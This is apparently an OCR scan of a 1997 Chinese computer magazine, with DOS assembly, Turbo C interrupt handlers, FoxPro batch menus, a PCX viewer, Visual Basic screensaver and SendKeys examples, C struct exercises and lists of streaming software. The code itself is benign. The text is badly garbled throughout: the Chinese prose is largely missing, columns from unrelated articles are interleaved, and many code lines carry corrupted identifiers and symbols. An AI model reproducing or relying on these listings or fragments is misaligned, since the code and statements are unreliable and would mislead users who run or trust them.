— ARHWEAS T P
1. Canon4200 PHOTO N
( PHOTO ] O
) EX
PHOTO m : : O__
T N— 1
¢
— Canon BC - 22 photo
2 AN 2.
: —J\ 1
TR
3.
» 2
= RHRAEYSE 3
1
b ( 3-5
| ~
Canon
2
3
2 Canon4200 PHOTO
% % X play .asm * % ¢ cld
code segment repz cmpsb ; C
assume cs:code,ds:code,es:code jz sta pd
org 100h mov ax ,4c00h ; N insh
start: jmp startl C
f1 db 40h dup (0) int 21h ; , DOS
2 db 3,’play  com”,21 dup(0)
pd db 0,0 sta mov ah,09
startl: mov ah,lah mov dx ,offset msg
mov dx ,offset f1 int 21h
int 21h ; DATA mov ax ,4c00h
mov ah,11h int 21h
mov dx ,offset {2
int 21h ; msg db 07,"How are you ?”,0dh,0ah ,24h
mov di,offset pd code ends

mov si,offset 1+ 1bh
mov cx,2

.36.

end start
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ROM—BIOS( )
R IBM PC
Turbo C int 86
TSR () ( Turbo C
(Terminate and Stay Resident Program )
) 8086
Trubo C 21H (0x21) DOS
# include <dos.h >
main () INT 21H AH =2AH
{union REGS in, out;
fn.h.ah:OxZa.; AN
1ntv86'((0,:chld,&1'n,&[:ul);d ) y . AL = (0= 1= )
printf oday is %d - %d — %d ,weekday = %d\n", CX= (1980—2099)
out.x.cx,out.h.dh,out.h.dl,out.h.al);
)1 DH= (1—12)
getch(); DL= (1—31)
P “ w "
fm=
1]t
t t 8086
Mo X ? CPU (AX BX CX DX )
P .
fr!-h 1 (interrupt) Turbo C
71
adad
e~ REGS in, out,
P,
§ o ( ) in.h.ah=0x2a AH 2AH
t [ ] 1 CX DH DL AL (
+ =’ { )
XX

P
Pl
Pl

a——
I 1 ) DOS
1 t ' o
1 1 PC
0 ) % WPS™ FLHL
WPS
(interrupt handler) WPS
Esc Shift
UCDos /
INT int 21H 21 WPS
21H H (H Ctrl  Break WPS
0 FF) WPS
* WPS Y/N?"
DOS ) Y )
INT 21H DOS ( )
Turbo C intdos ()

Computer Fan 1997 .5.
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X

R 1. getvect ( )
3
13

#include < dos.h >

void install (void interrupt (* int-add) () ,int int-num);
void interrupl( *oldtimer) () ;

void interrupt new timer (void) ;

unsigned intsp,intss;

unsigned myss[1000];

struct time tim ;

unsigned v;nt ticker = 0;

TURBO C void main ()
interrupt {
clrser () ;

gotoxy(3,3);

printf ("interrupt program demo, press any dey to return
OR

oldtimer = getvect (Ox 1c) ; /% */

gellime( &tim) ;

install (new timer,0x 1c) ; /% */

void interrupt getch () ;
( ) install (oldtimer,0x 1¢) ; /% */
return;

2. }

void install (void interrupt ( % int-add) () ,int int-num )
{

disable() ;

setvect (int-num ,int-add) ;

enable();

}

void interrupt newtimer (void)

{

(< oldtimer) () ;

intsp =-SP;

5 J € J €0 2O (0 R €0 R 10 I (2 I 1 R 5 N (0 J (% 2K (P A 02 I (2 I 0 I 00 I 0 I O I (O g © I 0 I O I 0 I I O R O R O

*W?ﬁ“‘r‘?W‘(‘?‘(T?ﬁ'?‘?W‘(‘?‘(ﬁ'?’?‘(‘?%“‘W?TW‘(T?W“‘(‘?W‘W‘() o

T o o o

void install (void interrupt (*int —add) (),int int -num) intss =-SS;
{ -SP = (unsigned) &myss[998];
disable () ; -SS=-DS;
setvect (int _num ,int _add) ; if (ticker = = 0) {
enable () ; ticker = (((tim .ti-sec%5) = =0) ? 19:18);
} tim .ti-sec + + ;
int _add int - if (tim . ti-sec = = 60) {
num setvect () l%m ’t%_se? =0;
tim .ti-min + + ;
3. if (tim . ti-min = = 60) {
1) geninterrupt ( ) tim . ti-min = 0;
(2) tim .ti-hour + + ;
. if (tim . ti-hour = =24)tim .ti-hour = 0;
setvect( int ,name) }
int _.name() (*int _name) }
() gotoxy (1,1);
(3) printf ("%02d: %02d: %02d” , tim.ti-hour, tim.ti-min,
tim .ti—sec);
setvect (int _num ,int _name) ; }
— —ticker;
asm int int —num ; SP =intsp;
-SS =intss;
}
TURBO C 2.0

©
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iEmESN

AR UFOIEES

ed\

cls

XXXXXXXX

@echo on

5.BAT

@echo off
CD\FOXPRO25\QCK
FOXPLUS ZSLKS

c:

ed\

cls

XXXXXXXX

@echo on

6.BAT

@echo off
CD\FOXPRO25\DSB
FOXPLUS SBGL

c:

cd\

cls

XXXXXXXX

@echo on

7.BAT

@echo off
CD\FOX\QJJ
FOXPLUS GZJJ

c:

cd\
cls
XXXXXXXX

@echo on

AUTOEX-

PATH C:\; C:\ DOS; C:\ GCSE; C:\ FOX; C:\ FOX-
PRO25;C:\HW ;C:\WPS;C:\PC;C:\TC;C:\OP
APPEND C:\; C:\DOS;D:\GCSE; C:\FOX; C:\FOX-
PRO25;C:\HW ;C:\WPS;C:\PC;C:\TC;C:\OP

L]
1.BAT
@echo off
CD\FOX\HT]J
FOXPLUS HTKS
REM DO HTKS
1. .
JNSM .EXE CD\
XXXXXXXX.BAT A.BAT cls
XXXXXXXX
@echo on
A .BAT 2.BAT
@echo off @echo off
cd \fox \GZ
JNSM FOXPLUS GZK
XXXXXXXX C:
2d \
@echo on le
JNSM .EXE XXXXXXXX
@echo on
3.BAT
Turbo C @echo off
JNSM A .BAT JNSM CD\FOXPRO25\JRS
o s
XXXXXXXX .bat c:
@echo off cd\
prompt cls
ClS XXXXXXXX
echo Xk ok koK ok ok ok ok @echo on
echo * * 4.BAT
echo %ok ok ok ok ok ok ok ke @echo off
echo 3% 3¢ 3% 5% 3k 5k 3 ok b ok ok ok Sk ok CD\FOX\MQ
echo * FOXPLUS MQZ
echo * 1 * c:
echo % * 3. A.BAT
echo * 2. *
echo % o EC.BAT
echo * 3. * @ECHO OFF
echo *
echo * 4. *
echo *
echo * 5. *
ecﬁo : i SET TEMP =C:\WINDOWS\TEMP
cche ¥ 6. i loadhigh CVGA
echo * ‘k loadhigh doskey
echo 7. mode con rate =32 delay = 1
echo * abe ’
echo 3% 3% 3% 5% sk 5k 3 ok o ok ok ok Sk ok PROMPT $P $G
prompt $p$g ed)
@echo on A
2. ECHO ON

Computer Fan 1997 .5.
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X

162 256 &PCX

U]

PCX
16 PCX
16 256 PCX
ShowPex () 16 256
PCX
16 640 x 480
256 320 x 200

#include <stdio.h >
#include < graphics.h >
#include <dos.h>

typedef struct { /% PCX */
char manufacturer; /* PCX Oxa0 */
char version; /* */
char encoding; /% 1 “ "
*/
char bits-per-pixel; /% *x/
int xmin, ymin; /% */
int xmax, ymax ;
int hres, vres; /% */
char palette[48]; /* 16 */
char reserved; /* */
char colour-planes; /> */
int bytes-per-line; /* */
int palette-type; / % 1 2
*/
char filler[58]; /% */
} PCXHEAD;

void ShowPex (char *);

void SetDacRegister (char * ,int);
void SetScreenM ode(unsigned char) ;
void SetPalette(char % );

main ()

{
Show Pex ("girll.pex”) ;
Show Pex ("rose.pex”) ;

.40.

}
void SetScreenM ode (unsigned char mode)
{ /x
mode *x/
union REGS r;
r.h.ah =0;

r.h.al=mode;
int86(0x 10, &r, &r) ;
}

void SetDacRegister(char * color-table, int count)
{ /x DAC
color-table DAC
count */
union REGS r;
r.x.ax =0x1012;
r.x.bx =0;
r.x.cx =count;
-ES =FP-SEG (color-table) ;
r.x.dx =FP-OFF (color-table);
int86(0x 10, &r, &r) ;

}
void SetPalette(char *palelte)
{ /%
palette 17 */

union REGS r;
r.x.ax =0x1002;
r.x.dx = FP-OFF (palette) ;
-ES =FP-SEG (palette) ;
int86(0x10, &r, &r);

}

void ShowPex (char * filename)

{ /x 16 256 PCX */
PCXHEAD header;
FILE *fp;

int i, j, count, height, plane, total; char data, palette
[171, color-table[768];
if((fp:fopen(filename,”r ")) = =NULL) return:
if (fread ( (char % ) &header, 1,sizeof (PCXHEAD) ,fp)! =
sizeof (PCXHEAD)) return;
if (header .manufacturer! =0x0a) return; / *
PCX */
if (! fseek (fp, —769L, SEEK-END) & &fgetc(fp) = =
0xOc)
{/% 256 PCX */
SetScreenM ode (0x 13) ;
fread (color-table, 1,768, fp); /* 256
*x/
for(i=0;1<768;i+ + ) color-table[il > > =2;
SetDacRegister (color-table,256) ;
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Sub Dirl—Change( )

MM Controll.DeviceT ype = "waveaudio"

If optionl.Value < > 0 Then

/#\Eu EpjiwéﬁWﬁ\ﬁm MM Controll.DeviceT ype = "seqencer"
End If
MM Controll.Updatelnterval = 0

u If Not MM Controll.Mode = 524 Then
MM Controll.Command = "close"
End If
If Right (file.Path, 1) < > "\" Then
MID WAV . MM Controll.FileName = file.Path & "\"
filel.FileName
WINDOWS Else

MM Controll.FileName = file.Path & filel.FileName

“ " “ " “ " End If

MM Controll.Commmand = "open"
label6.Caption = MM Controll.FileNane

MM Controll.Command = "play"

End Sub

Sub MM Controll-PauseClick (Cancel As Integer)
MM Controll.Updatelnterval = 0

End Sub

Sub MM Controll-playclick (Cancel As Integer)
MM Controll.Updatelnterval = 50

Visual Basic3.0

End Sub
MYPLAY .FRM Sub MM Controll-PrevClick (Cancel As Integer)
D:WINDOWSASYSTEM \MCI.VBX MM Controll.Updatelnterval = 0
ProjWinSize = 342,426,248,215 MM Controll.Command = "prev"
ProjWinShow =2 End Sub
IconForm ="Forml” Sub MM Contrlo1-StatusU pdate ()
Title =" i If Not MM Controll.Mode = 526 Then
ExeName ="MYPLAY .EXE" MM Controll.Updatelnterval = 0
Sub Commmand2-Click () End 1f
End Sub End Sub
else count = Ox 3f & data;
{ /% 16 */ data:fgetc(fp);
SetScreenM ode (0x 12) ; }
for(j=0:;j<16;j+ +) palette[j]l =j; for(j=0;j < count;j+ +)
palette[16] = 0; if (header . colour-planes = = 4)
SetPalette (palette) ; { /% 16 */
for(i=0;1<48;i+ +) header.palette[i] > > =2; if(tolal+j> =header.bytes—per—line)
SelDacRegisler(header .palette, 16) ; { /% */
} total = 0;
height = header.ymax —header.ymin + 1; count — =j;
fseek (fp, 128L ,SEEK-SET ) ; j=0;
for(i:();i<height;i+ +) plane + + ;
{ 0utportb(0x3c4,2);
for (plane = 0;plane < header . colour-planes ;plane + + ) outporth (0x3c5,1 < <plane) ;
{ }

total = 0; pokeb (0xa000,i % 80 + total +j,data) ;

if (header . colour-planes = = 4) }

{ /% 16 */ else /* 256 */
0utp0rtb(0x3c4,2) ; pokeb(OanOO,i * 320 + total +j,dala) ;
outportb (0x3¢5,1 < <plane) ; total + = count;

} }

while (total < header .bytes-per-line) }

{ /% */ }
count = 1; fclose(fp) ;
data = fgetc(fp) ; getch ()
if (0xcO= = (0OxcO&data)) SetScreenM ode (3) ;

{ }
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B VB AR REPER

L]
Windows
C SDK  Windows
VB
VB Windows

SCRNSAVE.MAK
: SCRNSAVE.BAS BLANK.FRM

SCRNSAVE.BAS

: HideMouse,
Show M ouse , EndScrnsave ,M ain
Windows Windows
“ " Windows
Com-
mand § “/e”
Command $
“ o
M ain
M ain Command $
Command $ “ st
M sgBox R
Command $ st
BlankForm
M ain
VB  Options * Project...” Pro-
ject Options Start Up Form “ Sub
M ain”

BLANK.FRM

.42,

BlankForm
Windows
BlankForm
BorderStyle 0-None Caption Control-
Box False BackColor & H00000000 &

Form-Load Move 0, 0, Screen.Width,
Screen.Height

1995

g « ) CIRCSHOW .BAS

Form-KeyDown  Form-MouseMove

Windows

SCRNSAVE.MAK EXE EXE

1. Make EXE File “ Application Ti-

tle
“ SCRNSAVE"

“ SCRNSAVE VB Screen Saver”

2. EXE SCR
EXE EXE SSVB.SCR(
SS )
SSVB.SCR
Windows s Windows s

PWIN 3.2 VB 3.0
1: SCRNSAVE .BAS
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Y

Declare Function Show Cursor Lib "USER”
As Integer) As Integer

(ByV al fShow

Sub EndScrnsave ()
ShowMouse '

End !
End Sub

Sub Show M ouse ()
While Show Cursor (True) < 0
Wend

End Sub

Sub HideM ouse ()
While Show Cursor (False) > = 0
Wend

End Sub

Sub Main ()
If App.Previnstance = True Then
Exit Sub
End If
If InStr(Command $ , "/¢”) Then
MsgBox "No setup options for this screen saver”’
Elself InStr(Command $ , "/s") Then
BlankForm .Show !
End If
While DoEvents() > 0
Wend
End Sub

2: BLANK.FRM
(1)

FormBackColor & HO00000000 & BorderStyle0 -
NoneCaptionControlBoxFalseName-
BlankFormScaleM ode3 - PixelT imerInterval INameT ick (2)

Dim r, f, p, X0, YO
Dim lastX, lastY
Const pi = 3.14159

Sub Form-Load ()
Move 0, 0, Screen.Width, Screen.Height '

HideM ouse

r =50
p=0
f=20

Computer Fan 1997 .5.

X0 = ScaleWidth /2 - 1
YO = ScaleHeight /2 - 1
End Sub

Sub Form-KeyDown
ger)

(KeyCode As Integer, Shift As Inte-

EndScrnsave
End Sub

Sub Form-MouseMove (Button As Integer, Shift As Inte-
ger, X As Single, Y As Single)
If IsEmply(lastX) Or IsEmpty(lastY) Then
lastX = X
lastY = Y
End If
' ( 2 )
If Abs(lastX — X) > 2 Or Abs(lastY - Y) > 2 Then
EndScrnsave !
End If
lastX = X
lastY = Y !
End Sub

Sub Tick-Timer ()
Dim X As Single
Dim Y As Single

Iff = 0 Then
¢ = RGB(255 * Rnd, 255 * Rnd, 255 * Rnd)
X =1 % Cos(2 * pi * p /360) + X0
Y = r % Sin(2 % pi % p /360) + YO
Line (X0, YO) - (X, Y), ¢
Cirele (X, Y), 2, ¢

If r = 200 Then
f=1
Exit Sub
End If
r=r+1/2
p=p+7
Elself f = 1 Then
¢ = RGB(0, 0, 0)
X =1 % Cos(2 % pi * p /360) + X0
Y =1 % Sin(2 % pi * p /360) + YO
Line (X0, Y0) - (X, Y), ¢
Circle (X, Y), 2, ¢

If r = 50 Then
f=0
Exit Sub
End If
r=r —-1/2
p=p-7
End If
End Sub
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? chr(7) & &

x=x+1
@7,0 clea
@9,16 say " "
sele 1
y=y+1
N do jd & &
sele 2
@7,0 clea
@9,16 say " "
y=y+1
?chr(7)
do jd

sele 1

skip
else
skip
endi
endd
@8,0 clea
foxbase + 2.1 dos6.0 uc- clos data

dos5.0 386 486 eras kscjls.idx

- eras kscj2s.idx
% % % jdej.prg * Kk % @10.30 say " ,
talk off

s¢ @14,30 say " "4strix,2) +" "
stat off

- -

5 set proc to

scor off k =inke(0)

-

se

set proc to jdm clea
set colo to w/b,b/w retu
clea Kk % % jdm.prg * Kk X%
@6,26 say " ! : jd o
’ o proe)
f1="kscjl zh =
2 ="kscj2 " xm =
@11,22 say " "get f1 & & i =
sx =
@14,22 say " " get {2 lh =
@11,50 say " " 7l =
read if =
if .not .file (trim (f1) +”.dbf”) .or..not.file(trim (f2) +” o =
.dbf")) bz =
@8,0 clea ) , do whil..t.
@1?,26say , if mod(y,2) =1
k = inke(0) set colo to w/gr & &
clea else
re?u set colo to b/g
endi endi
use &f1 @11,10 say " T T T
inde on to kscjls —
set inde to kscjls @12,10 say " | | "4 zh+"| | 74+ xm +"
sele 2 | | ”+s[r(yz,6,2)+”| "
use &f2 @13,10 say " | i I I
inde on to ksej2s S
set inde to kscj2s @14,10 say " | | "+str(sx,6,2) +" | |
sele 1 _ "tstr(lh,6.2) +" | | "4+ str(21,6,2) +" | "
set rela to into b @15,10 say " | } i I
=0 '
X -0 +___+____I ”
Zo whil.not .eof () @16,10 say " | [ str(jf,6,2) +" |
if ( <>b-> ).OI‘-( <>b-> ).01". @ rrTStr(Zf,672|)+ ‘ || +bZ+||
( <sbho> ) & & (17,1053}/_'_ N |
— 46
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VB

L]
VB 1991 1.0
4.0 VB
Windows VB
VB
— LRI L%
Windows
(Toolbars),
Windows
Speedbars
Align
[ 10 JAlign=1
(Image Control)
(3D Command Button
Control) Picture
* .BMP,* .DIB,* . WMF,* .I1CO
1. Demo( Name
Demo) Align Demo.Align =1
2. Name
T ool Index 0( )
Picture ( )
Caption
3. Name
T ool Index 12
4. Paint

Sub FormPaint ()

Demo.ScaleHeight = Tool(O).Height ’
iw% = Tool(0).Width *

Fori% = 0To 3

Tool(i%).Height = Demo.Scaleheiht
Tool(i%) .Width = iw %
Tool(i%).AutoSize = 1 °

Tool(i%).Move iw % * i%, 0 °

Computer Fan 1997 .5.

Next 1%
End Sub
5.

Sub Tool-Click (index As Integer)
If index = 0 Then
Tool (0). Picture = Load(”animal.bmp”) ’

Elself index = 1 Then

j% = Shell("calc.exe”, 1) ’ WINDOWS95
CALC.EXE
Elself index = 2 Then
End ’
End If
End Sub
=_Windows H<E S5 LmIZ S %
Windows
VB
= CSHEIRARHSSEIE T RIS F
Word for Windows
Shell
AppActivate
1.Shell
Shell ( )
Shell

Shell (commandstr $ ,winstyle %)
commandstr $

winstyle %
j% = Shell("c: \win\write.exe", 1)

Windows “ Write”
VB
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2.AppActivate
AppActivate Windows
AppActi-

vate Ap-
pActivate

AppActivate titletext $

titletext $ (

)
AppActivaté calculator” or

“ CALCULATOR”

AppActivate

Windows
(Calculator)”
Windows
AppActivaté
3.

Sendkey

Senekey keyin $ ,Wait %
keyin § W ait %
C ) VB
Wait % VB ( Send
Keys), Wait %
0
SendKey$s % {F4}" 1
<ALT > + <F4>,

SendKey$ (Hello) {Enter}” 1
“ Hello”

m™ . =l —1% A Word for Win-
dows SL AR5

Word “
Private Sub Form-Click ()
x = Shell("c: \msoffice \winword \winword .exe”, 1) ’

Word for Windows

SendKeys "(Computer Fan)”, 1’ "Computer Fan
SendKeys "{Enter}”, True i
waittime (3)
SendKeys ” {Enter}”, 1

waittime (3)
SendKeys "%", 1
waittime (2)

SendKeys "(F)”, 1 ’ "F" " (F)”
waittime (2)
SendKeys "(X)", 1 ’ "X " "
SendKeys "(N)”, 1 *WORD

N
End
End Sub

.46.

Private Sub waittime(xt As Singlc)
Dim starttime As Single
starttime = Timer
Do Until (Timer — starttime) > xt
Loop
End Sub

Shell Ap-

pActivate  SendKeys

Private Sub Form-Click ()

x = Shell("c: \winwords\calc.exe”, 1)
SendKeys "(2)", 1 ’ 2
waittime (3)
SendKeys "(+)", 1 ’ Ty

waittime (3)

SendKeys "(2)", 1

waittime (2)

SendKeys "(=)", 1 K =

waittime (3)

SendKeys "4", 1 ?

waittime (4)

SendKeys "(F)”, 1 ’ g " (F)”
SendKeys "(X)”, 1 ’ "X" " "

End

End Sub (#4)

44

@12,42 get xm

@12,58 get yz pict "999.99”

@14,25 get sx pict "999.99"
@14,42 get lh pict "999.99"
@14,58 get zI pict "999.99"
@16,25 get jf pict "999.99"
@16,42 get zf pict "999.99"
@16,58 get bz
set colo to w/b
@9,48 say " "+str(x,2) +”
@21,26 say " ) "

read

"

cc=""

@21,0
@21,26 say " ,
read

if upper(cc) < >"Y”

(Y/N)?" get cc

exit

endi

@21,0

@21,26 say " ) "
endd
repl with xm,
repl with lh,
repl with bz,
@21,0

retu @

with yz, with sx
with zl, with jf
with yz +sx +1h +zl + jf

|
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5
A A AL A AU A A A

(BLEH)
3.
KD
K
RENUM =1
B="STOCK”
ok ok Kk ok K K K Kk

X XKD % sk ok ok sk sk ok ok ok ok
@0,0 SAY CHR(14) + *[cO0]”

@0,0 SAY CHR(14) + *[B40,301,637,398]"
@0,0SAY CHR (14) +
KD N
@0,0 SAY CHR(14) + °[
@0,0 SAY CHR(14) + *[{
@OOSAYCHR(m)+Tcom
@0,0 SAY CHR (14) + *[1.39,320,637,320]"
@0,0 SAY CHR (14) + *[L39,380,637,380]"
USE &DB

I=1

DO WHIL.T.
IFJ=1

KD ="D5"

ENDI

IFJ=2

KD ="K5’

ENDI

IFJ>=3

EXIT

ENDI

GO RENUM
KX1=40+5
KY1=&KD
KX2=0

N=0

KXA =30
@0,0 SAY CHR (14
@0,0 SAY CHR (14
@0,0 SAY CHR (14
IFJ=2

@0,0 SAY CHR(14) +’[c0O2]’
ENDI

DO WHIL.T.

) +’[co4l”
)+ °[L40,350,635,350]°
)+’[cos]’

Computer Fan 1997 .5.

"[{@14,14-451303(5)3 =

[{@15,15-2 1295 100} ]°
@15,15-2 1345 50}1°

RBECH/N L

3

IF &KD =0
KXA =KX1+N
ELSE
KX1=KXA +15
KY1=&KD
EXIT
ENDI
N=N+15
SKIP
ENDD
=15
DO WHIL.T.
SKIP
IF EOF().OR.KX2> =630
EXIT

)
/

INAVA VAV AV AR A ACA A A AV A

ENDI
KX2=KXA +15+K
KY2= &KD
@0,0 SAY
CHR(14) +° [L° +STR(KX1) +’,” +STR(400 -
KY1)+’,”+STR(KX2) +’,” +STR(400-KY
2)+°]°
KX1=KX2
KY1=KY2
K=K+15
ENDD
J=J+1
ENDD

s AX#BEFIHH X T UCDOS 3.1 #9545
B DNET RGP 0354 R = T Ak Bik
N AEBANGMELERE 2 FERZLEESH,

) t

1997 1 VB
au-

toload . mak

VB4.0
1. VB4.0 Tools
custom controls
2.
MCI Microsoft M ulti-
media Control
3. MCI
©
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[ 3]

struct complex {
float re,im; };
# define CMP struct complex
main ()
{ static CMPX:{1.0,2.0},}/:{3.0,4.0};
CMP z1,22,add();
z1=add(x,y);
pl‘intf("add:%.2f+i%.Zf\n",zl.re,zl.im);
multiply (x,y, &z2);
printf ("multiply: % .2f +i% .2{\n",z2.re,z2.im); }
CMP add(x,y)
CMP x,y;
{ CMP z;
z.re=x.re+y.re;
z.im =X .im +y.im;
return (z) ; }
multiply (x ,y,z)
CMP x,y, *z;
{ (*z).re=x.re*y.re—x.im*y.im;
(*2z).im =x.re¥y.im +x.im *y.re; }

add:4.00+i6.00
multiply: = 5.00+110.00

complex
float
define CMP  struct complex
CMP complex

) add ()

@) multi-
ply O

z2
® add ()

B R AR

.50.

0
malloc ()
malloc ()
void *malloc (size) ;
size
NULL
[ 4]
#include <stdio.h >
struct list { char data;
struct list * next; 5
/% . */

struct list * creat-list ( )
{  struct list *h,*p, *q;
char ch;
h = (struct list * )malloc (sizeof (struct list)) ;

p=q=h;
ch :get(:har();
while(ch! =" #") /x# */

{ p= (struct list * )malloc (sizeof (struet list));
p — >data=ch;
q- >next=p;
q=p;
ch = getchar () ; }
( *p) .next ="\0";
return (h) ; }
/* x/
pri-list (h)
struct list *h;
{ struct list *p;
p=h;
printf(”head");
p=p— >next;
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while(p! =NULL)
{ printf(" - > %c",p - >data);

p=p- >next; 1
printf("\n"); }
VA main () % /
main ()

{ struct list *head;
head = creat-list () ;
pri-list (head) ; }
creat _list() pri _list ()

main ()
creat list ()
h h
char data next
h p ¢q h
P
malloc () q
q
.
next N0’
pri _list ()
next NULL

abede #

head—>a—b—>c—>d—>e

16
4 a,b,c,d, 6 4 2
4

struct data { unsigned int a:6;
unsigned int b:4;
unsigned int c¢:2;

unsigned int d:4; bd;

a,b,c,d

Computer Fan 1997 .5.

d.a=16;d.b=6;d.c=1;d.d=8;
printf ("%d, %d\n",d,a,d,c);

1. struct student { char *name;

float grad; } *p;
main ()
{ struct student a;
p=&a;

p- >grad=95.5;
p — >name = (char * )malloc(20) ;
strepy (p — > name, "Wang Li");
printf("%s\t % .2f\n", (*p) .name,p - >grad); |}
2. struct x { int a;
char *b; b oxp;
char x0[ ] = "abed" ,x1[] = "efgh";
struct x c[]=1{1,x0,2,x1};
main ()
{ p=c;
printf ("%c\t", + + ¥*p - >b);
printf("%d\t",(‘kp).a);
printf ("%d\t", + +p - >a);
printf("%d\t",(+ +p) - >a);
printf ("%c\n", % (p+ +) - >b+2); }
3. struct s {int a, *b;} *p;
int x[1={11,12},y[1={21,22};
main ()
{ static struct s al] = {1(),x,20,y};
p=a;
printf ("%d,", *p - >b);
printf ("%d,",(*p).a);
printf ("%d,", + +p- >a);
printf ("%d,",p + + - >a);
printf ("%d,", + + (*p).a);
printf ("%d\n", (*p).a+ * (*p).b); }

1.efghijl, ghijl,

k.1.f,h  ASCII (104)
20 5 7 2 13
3. 0

0

111

122
4.8 9 10
5.POINTENTER STEW

.,..fd,i}f.,....,,-,.,....

10
I NIT (NIT
: 2 )
NIT
(001) (101)
(117) (901)
(001)

0531 - 2941043
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<

WA FF 00 %% EF M (ShareWare) 7T
#65% Internet AN A 094 HZ —, HATRIC
VAL Internet £ ® FTH LFEEZ LA

HAE, @ BT 73k A A9 519 548 A AP 69 ) .
AL B, AR S 69 AT R l[ 14.4kbps  Modem *pdf
BFHE FR ARG ENAGEER EER A Adobe acrobat reader 3.0,
AR TR O MERALIL, TGN — 2.15M B 11: 30
LEVIEE LTE PYE SR 2 4
F 10 2 1
Internet ] < Al
&b
—
p
/ .
ﬂ FTP
,.I UNIX
5 In-
ternet _
( JLkL
2M bps J l
100
28.8kbps Internet
2.88M bps CuteFTP CuteFTP
100 Internet ( WWW) Window s
100
Windows
28. 8kbps CuteFTP Windows  Shift ctrl
CuteFTP
bps,
CuteFTP
CuteFTP
28.8kbps  Modem
CuteFTP 500K B
http://
www .cuteftp.com ftp:// ftp.cuteftp.com
/ pub/ cuteftp 16
(for windows 3.x) 32 (for win95/NT )
“ ? ( N 16cftp .exe
) w o 32cftp.exe 2
STAQ e — mail
ISP
Archie
Internet fotermet 1880
100 /1000 / )
64601323 - 25 62535410 62535431 64601332
B e @ b oy ro @
.52. w1997 5.



(Internet)

2.
Internet
— BT ERAT
VISA
MASTER

3.

1.

( (%)
(]
AN SIS 22 A
Internet PRAE T %% i8] §
WIRE:
1.
http://www .biztravel.com
EX/E¥

1.

http://home.ust.hk/ ~bolupin/ movies/
gh/

' 97
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http://osprey .erin.gov.au/anbg .html

(Fr4)
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Internet BANES
—RuNEZBNKN

[

TR AN-2E

1.RealAudio

Progressive Networks

RealAudio (www

.realaudio .com ) streaming
1995 4 Re-
alAudio
RealAudio 3.0
HTTP
Navigator RealAudio
1E ActiveX
.ra  .ram
RealAudio
modem  CPU
28.8Kbps  modem
RealAudio
RealAudio
Re-
alAudio ( cD )
RealAudio
RealAudio Plus
Re-
alAudio Web
HTTP
RealAudio
2.STREAMWORKS
Xing Stream Works (www .xingtech
.com) RealAudio
RealAudio Xing
www .xingtech.com/
.54.

content/sw 2-content . html

StreamWorks  RealAudio
.xdm
RealAudio
Streaming
RealAudio

3.INTERNET WAVE
VocalTec

.com/iwave)

Internet Wave (www .vocaltec

9600bps
modem
AM 28.8Kbps
FM Iwave WWW .
vocaltec.com /sites.htm
4. TRUESPEECH
DSP TrueSpeech (www .dspg.com/

truespch . htm)

www .dspg.com/cool.htm

5.TOOLVOX
Voxware ToolVox (www .voxware.com/
toolvox) midi
18K ToolV ox

www .voxware.com/ toolvox/ cool/ sites/ html

ALIRERAFA-25
1.SHOCKWAVE
M acromedia

Sheokwave (www

.macromedia.com )

Shockwave Streaming

Shockwave Disney CNN
streaming Shock-
MMX

50%

M acromedia

wave

Shockwave Gallery
Internet
2.CINEWEB

Digigami CineWeb

(www .digigami

.com /products.html)
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P

.mov .avi .mpg FLIC ActiveMovie

.wav .midi CineWeb
HTML
3.VDOLIVE 2.0

VDOnet VDOLive (www .vdo.net/
products/ vdolive) 14.4Kbps
2~3 28.8Kbps 8~12 ISDN

20 VDOLive
VDOnet 150
o . e

M & & Wl 2

—COMPAQ

Windows NT Novell INTERNET
¢ ! WINDOWS NT3.51
WARE3.12 NETWARE4.1 UNIX

INTERNET

NET-

100084
010 62784710 62783595
010 62785841 BP 62047788 - 26727

4.VIVOACTIVE
Vivo VivoActive 1.0
MSNBC ABC CNN

(www .vivo.com)

30MB  .avi 100K B
H.263 G.723
5.

MovieStar (www .beingthere.com /moviestar)
InterVU MPEG Player
pre.html)

(www .intervu.com/ player/ about

ClearFusion (www .iterated.com)

Vosaic (www .vosaic.com)

HEH BB R 2

ABC.COM (REALAUDIO,VIVOACTIVE) www .abc.com

AUDIONET (REALAUDIO) www .audionet .com

CBS NEWS (VDOLIVE,REALAUDIO) uttm .com

CNET (REALAUDIO,VIVOACTIVE) www .cnet.com

DISNEY .COM (QUICKTIME) www .disney .com

THE ENTERTAINMENT CONNECTION (REALAUDIO) e-
connection . com

E!ONLINE (REALAUDIO,QUICKTIME) www .eonline .com

ESPNET SPORTSZONE (REALAUDIO) espnet.sportszone
.com

MSNBC (REALAUDIO,VIVOACTIVE) www .msnbc.com

MTV (QUI(IKTIME,SH()CKWAVE) www .mtv.com

NBA.COM (REALAUDIO,QUICKTIME) www .nba.com

ROCK & ROLL HALL OF FAME (REALAUDIO) www

.rockhall.com

TIMECAST (REALAUDIO) www .timecast .com @

67
Hayes Optima Hayes Optima 288 7.Motorola PCM CIA Modem
V.34 + FAX Modem PCM CIA EZjack Motorola PCM CIA Modem Motorola
EZ- tango
jack RJ - 11 Motorola —
5.Motorola Voice SURFR 8.Greative Modem
/
57.6kbps ITU-T V.42 Greative Modem
MNP2-4 ITU =T V .42bis Modem Blaster
RASIAH Phonem Blaster
©®
10 / HAYES 144( ) ITU -TV .42 650
Accura  [144( ) /MNP2-4 700
6.Motorola Modem SURFR 288 Message( ) V . 42bis 1550
288B DSVD( ) /MNP5 2200
Modem SURFR 336( ) 1450
28. 8kbp5 336 Message( ) 1650
16550U ART DSVD( ) 2200
Voice Surfr144( ) 650
8250/ MO- Voice Surfr144( ) 720
16450 TOROLA |Modem Surfr288( ) V.42 1150
Modem Surfr288( ) V. 42bis 1200
CPU Premier336( ) MNPS5 1550
CPU Premier336( ) 1550
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PHOTOSHOP :

0

PHOTOSHOP

PHOTOSHOP
PHOTOSHOP  Filter

Motion blur
( ) An-

distance

*
*
*
*
*

—JEFR AR
PHOTOSHOP

1 \ PHOTOSHOP\ TUTORIAL\ POR-

TRAIT .JPG TRUCK.JPG
2
TRUCK
3 filter Blur—M otion Blur

<OK >

Distance 50

—dedtgal ek E

1
2 Stylize>Emboss
Angle

Amount

Height

OK

5 Emboss
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=

o

Z RFNHIEA

displace

displace Horizontal scale

Vertical scale

Displacement

Map Stretch to fit
tile

W EHEZHF A
kai PHOTOSHOP

page curl

Computer Fan 1997 .5.

CD \ photoshop\ plusin
2 Filter kpt filters
3 kpt filters—>page curl

2lcome
stoshop's
World!
13
A QLR
PHOTOSHOP
(#4)
CC-100 1.2 240
PC - 120 1.2 133 260
PC-220 3 350
19-1 216
010 682565651
5
1997
